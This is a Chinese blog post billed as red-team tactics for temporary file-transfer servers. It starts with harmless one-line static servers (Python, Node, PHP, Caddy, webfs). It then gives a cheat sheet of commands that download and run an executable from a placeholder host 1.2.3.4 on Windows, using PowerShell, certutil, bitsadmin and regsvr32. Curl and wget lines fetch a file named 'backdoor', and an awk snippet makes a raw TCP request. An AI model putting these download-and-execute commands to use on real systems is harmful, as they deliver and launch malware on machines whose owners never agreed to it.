【红队战术】临时文件传输服务Web Server

一、Python

临时 HTTP 静态服务器通常用于快速共享文件或在开发和测试环境中临时托管静态内容。以下是一些常见的临时 HTTP 静态服务器:

Python 自带的 HTTP 服务器,Python 提供了一个简单的内置 HTTP 服务器,可以使用以下命令在任何目录下启动:

python3 -m http.server

或在 Python 2 版本中:

python -m SimpleHTTPServer

二、Node.js 的 http-server

如果您安装了 Node.js,您可以使用 http-server 模块来启动一个简单的 HTTP 静态服务器:

npm install -g http-server
http-server

三、 PHP 内置的 HTTP 服务器:

在 PHP 5.4 之后的版本,PHP 提供了一个内置的 HTTP 服务器,可以使用以下命令启动:

php -S localhost:8000

四、caddy:

Caddy 是一个现代的 HTTP/2 静态文件服务器,可以快速设置并支持自动 HTTPS:

caddy file-server --browse

五、webfs工具:

webfs 是一个简单的轻量级工具,允许您通过 HTTP 协议来访问文件系统中的文件。
以下是在 Linux 上使用 webfs 创建临时 HTTP 静态服务器的步骤:

安装 webfs:

在大多数 Linux 发行版中,可以通过包管理器来安装 webfs。例如,在 Ubuntu/Debian 上,可以使用以下命令安装:sudo apt-get update 在输入sudo apt-get install webfs

启动 webfs:

安装完成后,使用以下命令来启动 webfs,并指定要托管的文件目录:

webfsd -p 8080 -r /path/to/your/static/files

其中,-p 参数用于指定要使用的端口号(在此示例中为 8080),-r 参数用于指定托管文件的根目录路径。访问静态文件:现在,临时 HTTP 静态服务器已经运行。您可以在浏览器中访问 http://localhost:8080(或使用服务器 IP 地址)来访问托管的静态文件。

六、在 Windows 中,您可以使用不同的命令来下载并执行文件:

使用 PowerShell

  • 这段 PowerShell 命令的意思是:从 http://1.2.3.4/5.exe 下载文件,保存到
    c:\download\a.exe,然后启动 c:\download\a.exe 这个文件。
powershell (new-object System.Net.WebClient).DownloadFile('http://1.2.3.4/5.exe','c:\download\a.exe');start-process 'c:\download\a.exe'

使用 certutil

  • 从 http://1.2.3.4/5.exe 下载文件,保存到 c:\download\a.exe,然后执行
    c:\download\a.exe 这个文件。
certutil -urlcache -split -f http://1.2.3.4/5.exe c:\download\a.exe&&c:\download\a.exe

使用 bitsadmin

  • 从 http://1.2.3.4/5.exe 下载文件,保存到 c:\download\a.exe,然后执行
    c:\download\a.exe 这个文件。
bitsadmin /transfer n http://1.2.3.4/5.exe c:\download\a.exe && c:\download\a.exe

请注意,bitsadmin 下载速度可能较慢。

使用 regsvr32

regsvr32 /u /s /i:http://1.2.3.4/5.exe scrobj.dll

在 Linux 中,您可以使用不同的命令来下载文件:

使用 Curl

curl http://1.2.3.4/backdoor -o backdoor

使用 Wget

wget http://1.2.3.4/backdoor

使用 Awk

首先使用以上列出的任意一条命令启动一个 HTTP Server,然后运行以下 Awk 命令:

awk 'BEGIN {
  RS = ORS = "\r\n"
  HTTPCon = "/inet/tcp/0/127.0.0.1/1337"
  print "GET /secret.txt HTTP/1.1\r\nConnection: close\r\n"    |& HTTPCon
  while (HTTPCon |& getline > 0)
      print $0
  close(HTTPCon)
}'

参考内容:

https://gist.github.com/willurd/5720255#webfs
https://paper.seebug.org/834/#windows

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

David_Jou

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值